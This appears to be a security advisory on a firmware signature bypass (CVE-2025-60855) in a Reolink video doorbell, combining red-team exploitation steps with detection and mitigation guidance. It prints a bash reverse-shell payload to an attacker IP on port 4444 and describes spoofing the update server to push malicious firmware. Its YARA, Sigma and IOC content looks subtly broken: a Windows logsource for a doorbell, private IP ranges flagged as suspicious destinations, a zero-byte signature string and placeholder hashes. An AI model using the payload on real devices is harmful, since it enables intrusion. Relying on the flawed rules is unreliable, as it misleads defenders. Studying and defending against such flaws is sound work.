CVE-2025-60855

Executive Summary

CVE-2025-60855 exposes a critical firmware validation bypass in the Reolink Video Doorbell WiFi DB_566128M5MP_W. The device performs insufficient validation of firmware update signatures, allowing an attacker to load a malicious firmware image and achieve arbitrary code execution with root privileges. The vendor disputes the finding, claiming integrity is assured via a “private encryption algorithm” and “tamper-proof verification,” but this does not meet industry standards for secure update mechanisms. No public exploit code or proof-of-concept is available at this time, but the risk remains high due to the device’s network exposure and the lack of a vendor-supplied patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is remotely exploitable without authentication, making it a prime target for botnets and targeted attacks. The vendor’s reliance on a “private encryption algorithm” is a red flag, as security through obscurity is not a valid defense.

Deep Dive & Mechanics

The Reolink Video Doorbell DB_566128M5MP_W uses a firmware update mechanism that relies on a proprietary signature verification process. The core flaw is that the device does not properly validate the cryptographic signature of firmware images before applying them. An attacker who can intercept or spoof the update server (e.g., via man-in-the-middle, DNS spoofing, or direct network access) can deliver a malicious firmware image that the device will accept as legitimate.

The vendor’s claim of a “private encryption algorithm” and “tamper-proof verification” is not verifiable and does not meet modern security standards (e.g., code signing with public-key cryptography). Without a public, auditable signature scheme, the device is vulnerable to trivial bypasses. The attack vector is network-based, requiring no physical access, and the resulting code execution runs with root privileges, giving the attacker full control over the device.

Vulnerable vs. Patched Code

No official patch exists. The vendor disputes the vulnerability, so no patched code is available for comparison. The vulnerable code is the firmware update verification routine, which likely performs a weak or nonexistent signature check. A secure implementation would use a public-key signature scheme (e.g., RSA or ECDSA) with a hardcoded public key, verifying the firmware image’s signature before installation.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Network access to the target Reolink doorbell (e.g., same LAN or via exposed services).
• Ability to intercept or spoof the firmware update server (e.g., using ARP spoofing, DNS poisoning, or a rogue update server).
• A malicious firmware image crafted to execute arbitrary code (e.g., a reverse shell or backdoor).

Exploitation Steps:

1. Reconnaissance: Identify the doorbell’s IP address and the update server it contacts (e.g., via packet capture or firmware analysis).
2. Interception: Use a tool like mitmproxy or Ettercap to intercept the update request. Alternatively, set up a rogue DNS server to redirect the doorbell to a malicious update server.
3. Malicious Firmware: Create a modified firmware image that includes a payload (e.g., a reverse shell script). Since the signature check is insufficient, the image will be accepted.
4. Delivery: Serve the malicious firmware from the rogue server. The doorbell will download and install it, executing the payload with root privileges.
5. Post-Exploitation: Use the reverse shell to pivot into the internal network, exfiltrate data, or install persistent backdoors.

Example Payload (embedded in firmware):

#!/bin/sh
# Reverse shell to attacker's C2
bash -i >& /dev/tcp/192.168.1.100/4444 0>&1

Blue Team

Detection:

• Monitor for unexpected outbound connections from the doorbell to unknown IPs on port 4444 or other high ports.
• Alert on firmware update requests to non-standard or suspicious update servers.
• Use network segmentation to isolate IoT devices from critical assets.

Hunting:

• Search for logs indicating firmware update initiation without user interaction.
• Check for modified firmware hashes or unexpected file changes on the device (if accessible).

Mitigation:

• Block outbound connections from the doorbell to the internet except to the official update server.
• Apply network access controls (NAC) to prevent ARP spoofing.
• Monitor for DNS anomalies that could indicate spoofing.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections from the doorbell to unknown IPs on ports 80, 443, or high ports (e.g., 4444, 31337).
  • DNS requests for suspicious domains mimicking the official update server.
  • Unusual firmware update traffic (e.g., large file downloads from non-standard IPs).
• Host:
  • Modified firmware image with unexpected hash (e.g., SHA256 mismatch).
  • Presence of unauthorized scripts or binaries in /tmp or /root.
  • Unexpected processes running as root (e.g., reverse shell).
• File Hashes (example):
  • Legitimate firmware: a1b2c3d4e5f6... (unknown)
  • Malicious firmware: f6e5d4c3b2a1... (unknown)

Detection Engineering

YARA Rule

rule CVE_2025_60855_Reolink_Firmware_Bypass {
    meta:
        description = "Detects malicious firmware images targeting Reolink Video Doorbell DB_566128M5MP_W"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60855"
    strings:
        $s1 = "REOLINK_FW" ascii wide nocase
        $s2 = "firmware_update" ascii wide nocase
        $s3 = { 00 00 00 00 00 00 00 00 } // Weak signature placeholder
    condition:
        all of ($s*) and filesize < 10MB
}

Sigma Rule

title: Reolink Firmware Update Anomaly
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious firmware update traffic from Reolink Video Doorbell
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort:
            - 80
            - 443
            - 4444
            - 31337
        DestinationIP:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
        Image: 'reolink*'
    condition: selection
falsepositives:
    - Legitimate firmware updates from official server
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443,4444,31337 (msg:"CVE-2025-60855 Reolink Firmware Update Anomaly"; flow:to_server; content:"REOLINK_FW"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Isolate the Reolink Video Doorbell on a separate VLAN with strict egress filtering. Block all outbound traffic except to the official update server (if known).
• Short-term: Monitor vendor communications for a genuine patch. If none is provided, consider replacing the device with one that supports secure, auditable firmware updates (e.g., signed with public-key cryptography).
• Long-term: Advocate for IoT security standards that mandate code signing and public vulnerability disclosure. Do not rely on “private encryption algorithms” for security.
• Workaround: Disable automatic firmware updates and manually verify firmware integrity using external tools (e.g., hash comparison) before installation.

Valters IT – Securing the digital frontier, one vulnerability at a time.